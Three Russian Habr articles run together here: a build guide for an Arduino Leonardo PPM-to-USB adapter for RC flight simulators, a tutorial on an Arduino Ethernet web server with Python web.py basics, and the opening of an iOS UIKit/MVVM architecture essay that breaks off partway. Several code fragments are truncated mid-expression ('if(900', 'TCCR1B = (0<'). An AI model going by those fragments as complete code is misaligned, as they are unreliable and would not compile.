Раз уж на улице летать холодно, то будем тренировать навыки пилотирования на симуляторах. Для этого нужно подключить свою радиоаппаратуру к компьютеру через специальный адаптер, который преобразует PPM сигнал с пульта в сигналы USB-джойстика, понятные компу. Такие адаптеры, конечно не редкость и стоят копейки в китайских магазинах. Однако доставки заказа ждать долго, да и будет ли он работать так как мы ожидали? Например у меня есть вот такой:
Он по каким-то, еще не постигнутым мною причинам, наотрез отказывается адекватно калиброваться в симуляторе [FPV Freerider](http://fpv-freerider.itch.io/fpv-freerider/), хотя прекрасно работает в Phoenix RC и Aerofly RC 7. А FPV Freerider вполне неплохо передает физику акро-полета на гоночном коптере, да к тому же имеет бесплатный демо-режим.
Решено — делаем адаптер сами!
##### **Немного матчасти:**
Большинство мало-мальски серьезных RC-аппаратур имеют разъем, куда выводят управляющие сигналы в PPM (Pulse Position Modulation) формате. PPM-cигнал представляет собой последовательность коротких импульсов, промежуток между которыми определяет управляющее значение каждого из каналов радиоаппаратуры.
Суть PPM отлично передает картинка:
Чтобы декодировать PPM нужно точно замерять интервалы времени между последовательными импульсами (при этом не имеет значения между какими фронтами: передними или задними, ведь длительность самих импульсов всегда одинакова).
##### **Реализация:**
Почерпнув вдохновения из [статьи](http://geektimes.ru/post/263346/) [AlexeyStn](http://geektimes.ru/users/alexeystn/) о создании PPM-to-USB адаптера на базе STM32F3Discovery, но имея в распоряжении только Arduino Pro Micro (Leonardo) с аппаратной поддержкой USB, начнем несложный путь к своему адаптеру.
На гитхабе можно найти несколько похожих проектов, и некоторые даже не требуют аппаратного USB в контроллере. Однако большинство из них нужно серьезно допиливать напильником, чтобы получить нечто рабочее. Годным проектом оказался [rc-leonardo-joy](https://github.com/i--storm/rc-leonardo-joy), который начал работать почти сразу после заливки скетча, но в нем тут же обнаружились некоторые недостатки: все показания джойстика были не очень стабильными — маркер курсора в панели управления все время плясал вокруг установленной точки. Не могу сказать, что это существенно влияло на управляемость в симуляторе, но мы ведь хотим тренироваться на хорошей аппаратуре!
Что ж, лезем в код и видим: вычисление ширины импульса PPM сделано через обработку внешнего прерывания и замер интервалов между вызовами функции *micros()*:
```
void rxInt(void) {
uint16_t now,diff;
static uint16_t last = 0;
static uint8_t chan = 0;
now = micros();
sei();
diff = now - last;
last = now;
if(diff>3000) chan = 0;
else {
if(900
```
Читаем о функции *micros()* в документации Arduino:
> *Returns the number of microseconds since the Arduino board began running the current program. This number will overflow (go back to zero), after approximately 70 minutes. On 16 MHz Arduino boards (e.g. Duemilanove and Nano), this function has a resolution of four microseconds (i.e. the value returned is always a multiple of four). On 8 MHz Arduino boards (e.g. the LilyPad), this function has a resolution of eight microseconds.*
То есть мало того, что функция не отличается особой точностью и всегда возвращает значения кратные 4 мкс, так она еще и переполнится через 70 минут, выдав нам какое-нибудь кривое значение замеренного интервала. Не годится. Лучше будет использовать таймер и его прерывания по захвату внешних сигналов.
Смотрим дальше: большая часть данных о положении джойстика искусственно ограничены одним байтом (0-255):
```
// Convert a value in the range 1000-2000 to 0-255
byte stickValue(int rcVal) {
return map( constrain(rcVal - 1000, 0, 1000), 0, 1000, 0, 255);
}
```
Хм, хотелось бы поточнее. Но для этого придется перепилить HID дескриптор и поправить все сопутствующие типы данных.
Сказано — сделано!
Форкаем репозиторий, переписываем код на использование таймера для отсчета PPM интервалов:
```
void initTimer(void) {
// Input Capture setup
// ICNC1: =0 Disable Input Capture Noise Canceler to prevent delay in reading
// ICES1: =1 for trigger on rising edge
// CS11: =1 set prescaler to 1/8 system clock (F_CPU)
TCCR1A = 0;
TCCR1B = (0< (NEWFRAME\_PULSE\_WIDTH \* TIMER\_COUNT\_DIVIDER)) {
chan = 0; // new data frame detected, start again
}
else {
if(diff > (MIN\_PULSE\_WIDTH \* TIMER\_COUNT\_DIVIDER - THRESHOLD)
&& diff < (MAX\_PULSE\_WIDTH \* TIMER\_COUNT\_DIVIDER + THRESHOLD)
&& chan < RC\_CHANNELS\_COUNT)
{
rcValue[chan] = adjust(diff, chan); //store detected value
}
chan++; //no value detected within expected range, move to next channel
}
}
```
Увеличиваем интервалы отклонения стиков до 0-1000 в HID descriptor:
```
// Joystick
0x05, 0x01, // USAGE_PAGE (Generic Desktop)
0x09, 0x04, // USAGE (Joystick)
0xa1, 0x01, // COLLECTION (Application)
0x85, JOYSTICK_REPORT_ID, // REPORT_ID (3)
...
0xA1, 0x00, // COLLECTION (Physical)
0x09, 0x30, // USAGE (x)
0x09, 0x31, // USAGE (y)
0x09, 0x33, // USAGE (rx)
0x09, 0x34, // USAGE (ry)
0x15, 0x00, // LOGICAL_MINIMUM (0)
0x26, 0xE8, 0x03, // LOGICAL_MAXIMUM (1000)
0x75, 0x10, // REPORT_SIZE (16)
0x95, 0x04, // REPORT_COUNT (4)
0x81, 0x02, // INPUT (Data,Var,Abs)
0xc0, // END_COLLECTION
0xc0 // END_COLLECTION
```
Попутно меняем *uint8\_t* на *uint16\_t* везде где передаются значения отклонений стиков.
Убираем лишний код, добавляем десяток #define и получается неплохой скетч, заточенный на работу в качестве адаптера PPM-USB.
**Результат** работы доступен в гитхабе: [github.com/voroshkov/Leonardo-USB-RC-Adapter](https://github.com/voroshkov/Leonardo-USB-RC-Adapter)
##### **Настройки скетча:**
Имеет смысл убрать дефайн для футабы, если у вас другая аппаратура:
```
#define FUTABA
```
и по-необходимости подстроить значения микросекунд в параметрах, если ваша аппаратура выдает другие тайминги:
```
#define STICK_HALFWAY 500
#define STICK_CENTER 1500
#define THRESHOLD 100
```
##### **Компиляция:**
Чтобы скомпилировать и залить скетч, нужно подменить библиотеки работы с USB в самой среде Arduino, предварительно сделав бэкапы.
Для этого идем в недра Arduino по пути *...\Arduino\hardware\arduino\cores\arduino\*, бэкапим *usbapi.h* и *hid.cpp*, после чего перезаписываем их одноименными файлами из папки *ArduinoLibs* репозитория. Далее открываем скетч, подключаем Arduino Leonardo и заливаем.
##### **Подключение:**
Все до безобразия просто: с одной стороны вставляем USB, c другой – паяем два провода (на Digital Pin 4 и землю) и втыкаем соответственно в PPM и землю разъема передатчика. Получается как-то так:
В Windows 7 устройство распознается как составное (клавиатура, мышь, джойстик) с именем Arduino Leonardo.
Отдельного упоминания заслуживает разъем в аппаратуре. Где-то это обычный аудио-джек, а где-то (как в моей Futaba 7C) – нечто похитрее:
Для сборки различных «папа»-разъемов я уже давно успешно использую горячий клей. Для этого кладем на «маму» бумагу, или полиэтилен, протыкаем эту подложку пинами, чтобы они воткнулись в разъем с другой стороны, а затем постепенно заливаем между пинами клей, попутно придавая ему форму мокрыми пальцами. Провода, конечно, нужно припаять заранее, чтобы не расплавить застывший клей при пайке. Получается не всегда эстетично, но весьма функционально:
(Здесь в разъеме 4 штырька нужны для однозначного позиционирования, рабочих только два.)
Вот и все. Качаем симулятор, подключаем аппаратуру и тренируем навыки пилотирования, попивая горячий чай перед камином темными зимними вечерами.
##### **P.S.**
Что делать если нет Arduino Leonardo, но есть вот такая Minimum Development Board на STM32F103C8T6?
Не волнуйтесь, все путем. Для вас, а также для собственного развития, я портировал уже упомянутый [проект](http://geektimes.ru/post/263346/) Алексея Станкевича.
Исходники и скомпилированные бинарники для заливки в этот контроллер можно найти здесь: [github.com/voroshkov/STM32-RC-USB-Adapter](https://github.com/voroshkov/STM32-RC-USB-Adapter).
На все вопросы с удовольствием отвечу в комментах.
Приятных полетов! | https://habr.com/ru/post/388811/ | null | ru | null |
# Веб-сервер — ваша первая сетевая программа Arduino
### Введение
В моих публикациях [1,2,3] подробно описана цепочка датчик – Arduino-интерфейс Python. В реальных условиях промышленного производства датчики находиться на значительном удалении не только друг от друга но и от места где осуществляется централизованная обработка измерительной информации. Логично передавать информацию от датчиков по компьютерной локальной сети используя хорошо разработанные сетевые технологии. Данная публикация написана в стили упражнения по сборке и настройке сетевого приложения с Arduino в домашних условиях.
### Постановка задачи
1. Использовать библиотеку Arduino Ethernet с расширением Arduino Ethernet Shield для создания веб-сервера.
2. Создать удаленный доступ к Arduino с использованием сети вашего домашнего компьютера.
3. Использовать стандартный пример Arduino для обеспечения значений влажности и датчика движения с помощью веб-сервера.
4. Разработать веб-приложений с использованием Python.
### Этапы решения поставленной задачи
1. Проектирование и создание аппаратных средств для использования Arduino и Ethernet Shield.
2. Запуск примера по умолчанию из среды разработки Arduino как начальную точку создания сервера.
3. Изменение примера для размещения вашего оборудования и повторного развертывания кода.
4. Разработка веб-приложений с использованием Python.
### Подключение Ethernet Shield поверх Arduino Uno
Arduino Ethernet Shield — официально поддерживаемое сетевое расширение с открытым исходным кодом, предназначенное для работы с Arduino Uno. Ethernet Shield оснащен разъемом RJ45 для подключения к сети Ethernet. Ethernet Shield предназначен для установки на Arduino Uno, и он расширяет выводы(пины) от Arduino Uno в верхней части платы. Ethernet Shield также оснащен гнездом для карт памяти microSD для хранения важных файлов по сети. Как и большинство расширений, Ethernet Shield питается от платы Arduino, к которой он присоединен.
[](https://habrastorage.org/webt/59/cb/9c/59cb9cfd5b7be169085985.jpeg)
Каждая плата Ethernet Shield оснащена уникальным аппаратным (MAC) адресом. Вы можете видеть это на обратной стороне платы. Вы можете записать этот аппаратный адрес, поскольку он будет часто требоваться в предстоящих упражнениях. Также убедитесь, что вы знакомы с установкой Arduino Ethernet Shield для выполнения последующих упражнений.
Ниже приведена диаграмма Fritzing схемы, требуемой для этого упражнения. Первое, что вам нужно сделать, это подключить Ethernet Shield поверх вашего Arduino Uno.
### Arduino Uno
[](https://habrastorage.org/webt/59/cb/9d/59cb9d5413d73826818895.jpeg)
При развертывании аппаратного обеспечения Arduino для удаленного подключения без USB вам необходимо будет обеспечить внешнее питание платы, поскольку у вас больше нет подключения USB для питания платы.
Теперь подключите Arduino Uno к компьютеру с помощью USB-кабеля. Вам также необходимо подключить Arduino к локальной домашней сети с помощью кабеля Ethernet. Для этого используйте прямой кабель CAT5 или CAT6 и подключите один конец кабеля к домашнему маршрутизатору.
Этот маршрутизатор должен быть тем же устройством, которое обеспечивает сетевой доступ к компьютеру, который вы используете. Подключите другой конец кабеля Ethernet к порту Ethernet платы Arduino Ethernet Shield. Если соединение физического уровня установлено правильно, вы должны увидеть зеленый свет на порту.
[](https://habrastorage.org/webt/59/cb/9d/59cb9d99c9a5a238586490.jpeg)
Теперь пришло время начать кодирование вашего первого примера Ethernet.В коде вам нужно будет изменить MAC и IP-адреса, чтобы он работал для вашей конфигурации. Хотя вы можете получить MAC-адрес Ethernet Shield с задней стороны платы, вам придется выбрать IP-адрес в соответствии с конфигурацией вашей домашней сети.
Когда вы уже получили IP-адрес компьютера, с которым работаете, выберите другой адрес в диапазоне. Убедитесь, что ни один другой сетевой узел не использует этот IP-адрес. Используйте эти MAC и IP-адреса для обновления следующих значений в коде.
```
byte mac [] = {0x00, 0xAA, 0xBB, 0xCC, 0xDE, 0x02};
IPAddress ip (192, 168, 0, 102); // автоматически присвоен в домашней сети с помощью File --> Examples --> Ethernet --> DhcpAddressPrinter
```
В IP-сети видимый диапазон IP-адресов для вашей сети является функцией другого адреса, называемого subnetwork или subnet. Subnet вашей сети LAN IP может помочь вам выбрать соответствующий IP-адрес для Ethernet Shield в диапазоне IP-адресов вашего компьютера. Вы можете узнать об основах подсети по адресу [4].
Прежде чем углубляться в код, скомпилируйте код с этими изменениями и загрузите его в Arduino. После успешного завершения процесса загрузки откройте веб-браузер и введите IP-адрес, указанный в скетче Arduino. Если все будет хорошо, вы должны увидеть текст, отображающий значения аналоговых контактов.
Чтобы лучше понять, что здесь произошло, вернемся к коду. Как вы можете видеть, в начале кода мы инициализируем библиотеку Ethernet-сервера на порту **80**, используя метод **EthernetServer** из библиотеки Ethernet:
```
EthernetServer server(80);
```
Во время выполнения **setup ()** программа инициализирует Ethernet-соединение через Ethernet Shield с помощью метода **Ethernet.being ()** с переменными **mac** и **ip**, которые вы определили ранее. Метод **server.begin ()** запустит сервер отсюда. Оба этих шага являются обязательными для запуска сервера, если вы используете библиотеку Ethernet для кода сервера:
```
Ethernet.begin (mac, ip);
server.begin ();
```
В функции **loop ()** мы инициализируем **client** объект для прослушивания входящих клиентских запросов с использованием метода **EthernetClient**. Этот объект будет отвечать на любой запрос, поступающий от подключенных клиентов, которые пытаются получить доступ к серверу Ethernet через порт 80:
```
EthernetClient client = server.available ();
```
После получения запроса программа будет ожидать окончания загрузки запроса. Затем он будет отвечать клиенту с форматированными данными HTML, используя метод:
```
client.print ():
while (client.connected()) {
if (client.available()) {
char c = client.read();
Serial.write(c);
# Response code }
```
Если вы попытаетесь получить доступ к серверу Arduino из браузера, вы увидите, что веб-сервер отвечает клиентам с помощью данных на аналоговых контактах. Теперь, чтобы получить правильные значения датчиков влажности и PIR, которые мы соединили в аппаратном дизайне, вам придется выполнить следующую модификацию кода.
Здесь вы заметите, что мы отвечаем клиентам с вычисленными значениями относительной влажности вместо необработанных показаний со всех аналоговых выводов. Мы также изменили текст, который будет напечатан в веб-браузере, чтобы соответствовать правильному названию датчика:
```
if (c == '\n' && currentLineIsBlank) {
// send a standard http response header
client.println("HTTP/1.1 200 OK");
client.println("Content-Type: text/html");
client.println("Connection: close");
client.println("Refresh: 5");
client.println();
client.println("");
client.println("");
float sensorReading = getHumidity(analogChannel, temperature);
client.print("Relative Humidity from HIH4030 is ");
client.print(sensorReading);
client.println(" %
");
client.println("");
break; }
```
В этом процессе мы также добавили функцию Arduino, getHumidity (), которая будет вычислять относительную влажность по значениям, наблюдаемым с аналоговых выводов.
```
float getHumidity(int analogChannel, float temperature){
float supplyVolt = 5.0;
int HIH4030_Value = analogRead(analogChannel);
float analogReading = HIH4030_Value/1023.0 * supplyVolt;
float sensorReading = 161.0 * analogReading / supplyVolt - 25.8;
float humidityReading = sensorReading / (1.0546 - 0.0026 * temperature);
return humidityReading; }
```
Эти изменения можно применить к примеру, WebServer Arduino для фазы тестирования или просто открыть скетч **WebServer\_Custom.ino** из папки **Exercise 1 — Web Server** в каталоге вашего кода. Как вы можете видеть в открытом файле скетча, мы уже модифицировали код, чтобы отразить изменения, но вам все равно придется изменить MAC и IP-адреса на соответствующие адреса.
После того как вы закончите с этими незначительными изменениями, скомпилируйте и загрузите скетч в Arduino. Если все пойдет по плану, вы должны иметь доступ к веб-серверу с помощью веб-браузера. Откройте IP-адрес недавно подготовленного Arduino в веб-браузере.
Вы должны получить такой же ответ, как показано на следующем скриншоте. Хотя мы показываем значения влажности только через этот скетч, вы можете легко прикрепить значения датчика движения, используя дополнительные методы **client.print ()**.
[](https://habrastorage.org/webt/59/cb/9f/59cb9f7c16b85675375570.jpeg)
Подобно механизму, который мы реализовали в этом упражнении, веб-сервер отвечает на запрос, сделанный веб-браузером, и предоставляет веб-страницы, которые вы ищете. Хотя этот метод очень популярен и универсален для доставки веб-страниц, полезная нагрузка содержит много дополнительных метаданных *(данные о данных)* по сравнению с фактическим размером информации датчика.
Кроме того, реализация сервера с использованием библиотеки серверов Ethernet занимает много ресурсов Arduino. Arduino, будучи устройством с ограниченными ресурсами, не подходит для запуска серверного приложения, поскольку ресурсы Arduino должны быть приоритетными для обработки датчиков, а не связи.
Веб-сервер, созданный с использованием библиотеки Ethernet, **поддерживает очень ограниченное количество подключений**, что делает его непригодным для крупномасштабных приложений и многопользовательских систем.
Лучшим подходом к решению этой проблемы является использование Arduino в качестве клиентского устройства или использование легких коммуникационных протоколов, предназначенных для работы с аппаратными устройствами с ограниченными ресурсами. В следующих нескольких разделах вы узнаете и реализуете эти подходы для коммуникации Arduino на Ethernet.
### Разработка веб-приложений с использованием Python
Внедрив предыдущую программу, вы включили работу в сети на Arduino. В предыдущем примере мы создали веб-сервер HTTP, используя методы, доступные из библиотеки Ethernet. Создав веб-сервер Arduino, мы сделали доступными ресурсы Arduino в сети. Аналогично, Python также обеспечивает расширяемость посредством различных библиотек для создания интерфейсов веб-сервера.
Запустив веб-сервер на базе Python на вашем компьютере или других устройствах, таких как Raspberry Pi, вы можете избежать использования Arduino для размещения веб-сервера. Веб-приложения, созданные с использованием языков высокого уровня, таких как Python, также могут предоставить дополнительные возможности и расширяемость по сравнению с Arduino.
Будем использовать библиотеку Python, web.py, для создания веб-сервера Python. Мы также будем использовать эту библиотеку для создания интерактивных веб-приложений, которые позволят передавать данные между клиентом Arduino и веб-браузером.
После того, как вы изучите основы web.py, мы будем взаимодействовать с Arduino с web.py, используя последовательные порты, чтобы сделать Arduino доступным через веб-сервер Python. Затем мы обновим коммуникационный метод Arduino от последовательного интерфейса до обмена сообщениями на основе HTTP.
### Веб-фреймворк Python — web.py
Веб-сервер может быть разработан в Python с использованием различных веб-фреймворков, таких как **Django, bottle, Pylon** и **web.py**. Мы выбрали **web.py** как предпочтительную веб-структуру благодаря своим простым, но мощным функциям.
Библиотека **web.py** была первоначально разработана покойным Aaron Swartz с целью разработки простого подхода для создания веб-приложений с использованием Python. Эта библиотека предоставляет два основных метода, **GET** и **POST**, для поддержки архитектуры **HTTP Representation State Transfer (REST)**.
Эта архитектура предназначена для поддержки протокола HTTP путем отправки и получения данных между клиентами и сервером. Сегодня архитектура REST реализуется огромным количеством веб-сайтов для передачи данных по HTTP.
### Установка web.py
Чтобы начать работу с web.py, вам нужно установить библиотеку web.py с помощью Setuptools. В Linux и Mac OS X выполните одну из этих команд на терминале, чтобы установить web.py:
```
$ sudo easy_install web.py
$ sudo pip install web.py
```
В Windows откройте командную строку и выполните следующую команду:
```
> easy_install.exe web.py
```
Для pythn 3.61 надо набрать в командной строке:
```
> easy_install-3.61.exe web.py
```
Если Setuptools настроен правильно, вы можете установить библиотеку без каких-либо трудностей. Чтобы проверить установку библиотеки, откройте интерактивную подсказку Python и запустите эту команду, чтобы убедиться, что вы импортировали библиотеку без каких-либо ошибок:
```
>>> import web
```
### Первое веб-приложение Python
Реализация веб-сервера с помощью **web.py** — очень простой и понятный процесс. Для библиотеки **web.py** требуется объявление обязательного метода **GET** для успешного запуска веб-сервера.
Когда клиент пытается получить доступ к серверу с помощью веб-браузера или другого клиента, **web.py** получает запрос **GET** и возвращает данные, указанные в этом методе. Для создания простого веб-приложения с использованием библиотеки **web.py** создайте файл Python, используя следующие строки кода и выполните файл с помощью Python.
```
import web
urls = ( '/', 'index')
class index:
def GET(self):
return "Hello, world!"
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()
```
При выполнении вы увидите, что сервер теперь запущен и доступен через адрес [0.0.0.0](http://0.0.0.0):8080. Поскольку серверная программа запущена на IP-адресе 0.0.0.0, вы можете получить к ней доступ с помощью того же компьютера, локального хоста или любого другого компьютера из той же сети.
Чтобы проверить сервер, откройте веб-браузер и перейдите по адресу [0.0.0.0](http://0.0.0.0):8080. Когда вы пытаетесь получить доступ к серверу с того же компьютера, вы также можете использовать [127.0.0.1](http://127.0.0.1):8080 или [localhost](http://localhost):8080. 127.0.0.1 IP-адрес фактически означает localhost, то есть сетевой адрес того же компьютера, на котором запущена программа. Вы сможете увидеть ответ сервера, отображаемого в браузере, как показано на следующем снимке экрана:
[](https://habrastorage.org/webt/59/cb/a0/59cba0e954370773576232.jpeg)
Чтобы понять, как работает этот простой код, ознакомьтесь с методом **GET** в предыдущем фрагменте кода. Как вы можете видеть, когда веб-браузер запрашивает URL-адрес, метод **GET** возвращает **Hello, world!** в браузер.
Тем временем вы также можете наблюдать еще два обязательных компонента **web.py** в вашем коде: методы **urls** и **web.application ()**. Библиотека **web.py** требует инициализации местоположения ответа в объявлении переменной urls.
Для каждого веб-приложения на основе **web.py** требуется, чтобы метод **application(urls, global())** вызывался для инициализации веб-сервера. По умолчанию приложения **web.py** запускаются на порт **8080**, который можно изменить на другой номер порта, указав его во время выполнения. Например, если вы хотите запустить приложение **web.py** на порту **8888**, выполните следующую команду:
```
$ python webPyBasicExample.py 8888
```
Хотя это возвращает только простой текст, вы успешно создали свое первое веб-приложение с помощью Python. Мы перейдем отсюда и создадим более сложные веб-приложения в следующих главах, используя библиотеку **web.py**.
Для разработки этих сложных приложений нам потребуется не только метод **GET**. Давайте начнем изучение предварительных концепций, чтобы еще больше улучшить ваше знакомство с библиотекой **web.py**.
### Основные концепции web.py для разработки сложных веб-приложений
Библиотека **web.py** была разработана для обеспечения удобных и простых методов разработки динамических веб-сайтов и веб-приложений с использованием Python. Используя **web.py**, очень просто создавать сложные веб-сайты, используя лишь несколько дополнительных концепций Python.
Благодаря этому ограниченному курсу обучения и простым в использовании методам, **web.py** является одним из самых быстрых способов создания веб-приложений из языков программирования. Давайте начнем с понимания этих понятий **web.py** в деталях.
### Обработка URL-адресов
Вы могли заметить, что в нашей первой программе web.py мы определили переменную urls, которая указывает на корневую папку (/) of the Index class:
```
urls = (
'/', 'index'
)
```
В предыдущем объявлении первая часть, '/', является обычным выражением, используемым для сопоставления фактических запросов URL. Вы можете использовать такие выражения для обработки сложных запросов, поступающих на ваш сервер **web.py**, и указывать их на соответствующий класс.
В **web.py** вы можете связать разные места целевых страниц с соответствующими классами. Например, если вы хотите перенаправить местоположение данных/данных в класс данных в дополнение к классу Index, вы можете изменить переменную **urls** следующим образом:
```
urls = (
'/', 'index',
'/data', 'data',
)
```
При этом условии, когда клиент отправляет запрос на доступ к адресу http: // : 8080 / data, запрос будет направлен к классу данных, а затем к методу GET или POST этого класса.
### Методы GET и POST
Мы создали веб-сервер на основе Arduino, работающий через порт 80, мы использовали веб-браузер для доступа к веб-серверу. Веб-браузеры являются одним из самых популярных типов веб-клиентов, используемых для доступа к веб-серверу; Другие типы c URL, Wget и веб-сканеры.
Веб-браузер использует HTTP для связи с любыми веб-серверами, включая веб-сервер Arduino, который мы использовали. GET и POST — два основных метода, поддерживаемых протоколом HTTP для адресации запросов сервера, поступающих из веб-браузера.
Всякий раз, когда вы пытаетесь открыть веб-сайт в своем браузере или любом другом HTTP-клиенте, вы фактически запрашиваете функцию GET с веб-сервера; Например, при открытии URL-адреса веб-сайта [5], вы запрашиваете, чтобы веб-сервер, на котором размещен этот сайт, подавал вам запрос GET для местоположения '/'.
В разделе «Обработка URL-адресов» мы узнали, как связать классы **web.py** с местами размещения URL-адресов. Используя метод GET, предоставляемый библиотекой **web.py**, вы можете связать запрос GET с отдельными классами. После того как вы получили запрос GET, вам необходимо вернуть соответствующие значения в качестве ответа клиенту. Следующий фрагмент кода показывает, как будет вызываться функция GET (), когда кто-либо делает запрос GET в местоположение «/»:
```
def GET(self):
f = self.submit_form()
f.validates()
t = 75
return render.test(f,t);
```
Функция **POST** протокола HTTP в основном используется для отправки формы или любых других данных на веб-сервер. В большинстве случаев POST встроен в веб-страницу, и запрос на сервер генерируется, когда пользователь отправляет компонент, несущий функцию POST. Библиотека web.py также предоставляет функцию POST (), которая вызывается, когда веб-клиент пытается связаться с сервером web.py с помощью метода POST. В большинстве реализаций функции POST () запрос включает в себя некоторые данные, передаваемые через формы. Вы можете извлекать отдельные элементы формы с помощью значения f ['Celsius'...], Которое даст вам значение, связанное с элементом формы Celsius. Когда функция POST () выполнила предоставленные действия, вы можете вернуть клиенту соответствующую информацию в ответ на запрос POST:
```
def POST(self):
f = self.submit_form()
f.validates()
c = f['Celsius'].value
t = c*(9.0/5.0) + 32
return render.test(f,t)
```
### Шаблоны
Теперь вы знаете, как перенаправить HTTP-запрос на соответствующий URL-адрес, а также как реализовать методы для ответа на эти HTTP-запросы (то есть GET и POST). Но как насчет веб-страницы, которая должна быть отображена после получения запроса? Чтобы понять процесс рендеринга, давайте начнем с создания папки с именем templates в том же каталоге, где будет размещена наша программа web.py. В этой папке будут храниться шаблоны, которые будут использоваться для визуализации веб-страниц по запросу. Вы должны указать расположение этой папки шаблона в программе с помощью функции **template.render ()**, как показано в следующей строке кода:
```
render = web.template.render ('templates')
```
После того как вы создадите экземпляр папки рендеринга, пришло время создавать файлы шаблонов для вашей программы. В соответствии с требованиями вашей программы вы можете создать столько файлов шаблонов, сколько хотите. Для создания этих файлов шаблонов в web.py используется язык под названием Templetor. Подробнее об этом можно узнать по адресу [5]. Каждый файл шаблона, созданный с использованием Templetor, должен храниться в формате HTML с расширением .html.
Давайте создадим файл **test.html** в папке **templates** с помощью текстового редактора и вставим следующий фрагмент кода в файл:
```
$def with(form, i)
$:form.render()
Value is: $:i
```
Как вы можете видеть в предыдущем фрагменте кода, файл шаблона начинается с выражения **$def with ()**, где вам нужно указать входные аргументы как переменные в скобках.
После визуализации шаблона они будут единственными переменными, которые вы можете использовать для веб-страницы; Например, в предыдущем фрагменте кода мы передали две переменные (**form** и **i**) в качестве входных переменных. Мы использовали объект формы, используя **$: form.render ()**, чтобы отобразить его внутри веб-страницы. Когда вам нужно отобразить объект формы, вы можете напрямую передать другую переменную, просто объявив ее (то есть, $: i). Templetor будет отображать HTML-код файла шаблона, как он есть, при использовании переменных в тех случаях, когда они используются.
Теперь у вас есть файл шаблона test.html, готовый к использованию в вашей программе web.py. Всякий раз, когда выполняется функция GET () или POST (), вам необходимо вернуть значение запрашивающему клиенту. Хотя вы можете вернуть любую переменную для этих запросов, в том числе None, вам придется отобразить файл шаблона, где ответ связан с загрузкой веб-страницы. Вы можете вернуть файл шаблона с помощью функции render (), за которым следует имя файла шаблона и входные аргументы:
```
return render.test (f, i);
```
Как видно из предыдущей строки кода, мы возвращаем визуализированную страницу test.html, указав функцию **render.test ()**, где **test ()** — это просто имя файла без расширения .html. Функция также включает объект формы, f и переменную i, которые будут переданы в качестве входных аргументов.
### Формы
Библиотека web.py предоставляет простые способы создания элементов формы с использованием модуля Form. Этот модуль включает в себя возможность создавать элементы формы HTML, получать входные данные от пользователей и проверять эти входы до их использования в программе Python. В следующем фрагменте кода мы создаем два элемента формы: **Textbox** и **Button**, используя библиотеку **Form**:
```
submit_form = form.Form(
form.Textbox('Celsius', description = 'Celsius'),
form.Button('submit', type="submit", description='submit'))
```
Помимо **Textbox** (который получает ввод текста от пользователей) и Button (который отправляет форму), модуль Form также предоставляет несколько других элементов формы, таких как **Password** для получения скрытого ввода текста, **Dropbox** для получения взаимоисключающего выпадающего списка, **Radioto** получает взаимоисключающие входы из нескольких опций, а **Checkbox** — выбор бинарного входа из заданных опций. Хотя все эти элементы очень просты в реализации, вы должны выбрать элементы формы только в соответствии с вашими требованиями к программе
В реализации формы через web.py веб-страница должна выполнять метод POST каждый раз, когда форма отправляется. Как вы можете видеть в следующей реализации формы в файле шаблона, мы явно объявляем метод отправки формы как POST:
```
$def with(form, i)
$:form.render()
```
### Вывод
Публикация содержит все необходимые данные для сборки в домашних условиях сетевого приложения для дистанционного контроля температуры влажности и перемещения.
### Ссылки
1. [Прототипирование в среде Python-Arduino.](https://habrahabr.ru/post/337986/)
2. [Методы разработки потока программного обеспечения датчиков движения, работающих с Arduino.](https://habrahabr.ru/post/337982/)
3. [Использование Python для обработки в реальном масштабе времени информации от датчиков, работающих с Arduino.](https://habrahabr.ru/post/337494/)
4. [Subnetwork.](https://en.wikipedia.org/wiki/Subnetwork)
5. [web.py templating system.](http://webpy.org/templetor) | https://habr.com/ru/post/338844/ | null | ru | null |
# Как подружиться с UIKit
Привет, Хабр! Меня зовут Богдан, в Badoo я работаю в мобильной команде iOS-разработчиком. Мы достаточно редко рассказываем что-либо о нашей мобильной разработке, хотя статьи – один из лучших способов документировать хорошие практики. Эта статья статья расскажет о нескольких полезных подходах которые мы используем в нашей работе.
Уже на протяжении нескольких лет iOS-сообщество сражается с UIKit. Кто-то придумывает сложные способы «погребения» внутренностей UIKit под слоями абстракций в своих выдуманных архитектурах, другие команды переписывают его, теша своё эго, но оставляя за собой дикое количество кода, который нужно поддерживать.
### Заставьте UIKit работать на себя
Я ленив, поэтому стараюсь писать только тот код, который необходим. Я хочу писать код, соответствующий требованиям продукта и принятым в команде стандартам качества, но свожу к минимуму объём кода для поддержки инфраструктуры и стандартных кусков архитектурных шаблонов. Поэтому я верю, что вместо борьбы с UIKit мы должны принять его и использовать как можно шире.
### Выбор архитектуры, подходящей для UIKit
Любую проблему можно решить, добавив ещё один уровень абстракции. Поэтому многие выбирают VIPER – в нём много уровней/ сущностей, которые можно использовать в работе. Писать приложение в VIPER не сложно – гораздо сложнее написать обладающее теми же достоинствами MVC-приложение с поддержкой меньшего объёма шаблонного кода.
Если начинать проект с нуля, то можно выбрать архитектурный шаблон и всё делать «правильно» с самого начала. Но в большинстве случаев такая роскошь нам недоступна – приходится работать с уже имеющейся кодовой базой.
Проведём мысленный эксперимент.
Вы присоединяетесь к команде, которая наработала большую кодовую базу. Какой подход вы надеетесь в ней увидеть? Чистый MVC? Какой-нибудь MVVM/ MVP с flow-контроллерами? Может быть, VIPER-подход или подход на основе Redux в каком-нибудь FRP-фреймворке? Лично я рассчитываю увидеть простейший и работающий подход. Более того, я хочу оставить после себя такой код, который кто угодно сможет читать и исправлять.
Короче, давайте посмотрим, как можно что-то делать на основе контроллеров представлений, а не пытаться их заменять или прятать.
Допустим, у вас есть набор экранов, каждый из которых представлен одним контроллером. Эти контроллеры представлений извлекают из интернета какие-то данные и выводят на экран. С точки зрения продукта всё работает идеально, но вы понятия не имеете, как тестировать код контроллеров, а попытки переиспользования заканчиваются копипастингом, из-за чего контроллеры представлений увеличиваются в размерах.
Очевидно, что нужно начать разделять код. Но как сделать это без лишних хлопот? Если вытащить код, извлекающий данные, в отдельный объект, то контроллер будет только выводить информацию на экран. Так и сделаем:
Теперь всё выглядит очень похоже на MVVM, поэтому будем пользоваться его терминологией. Итак, у нас есть представление и модель представления. Эту модель мы легко можем протестировать. Давайте теперь перенесём в сервисы повторяющиеся задачи вроде работы с сетью и хранения данных.
В результате:
1. Вы сможете переиспользовать свой код.
2. Получите источник истины, не привязанный к уровню пользовательского интерфейса.
Какое отношение всё это имеет к UIKit? Позвольте объяснить.
Модель представления сохраняется контроллером представления, и её вообще не интересует, существует ли контроллер. Так что если мы удалим из памяти контроллер, то и соответствующая модель тоже будет удалена.
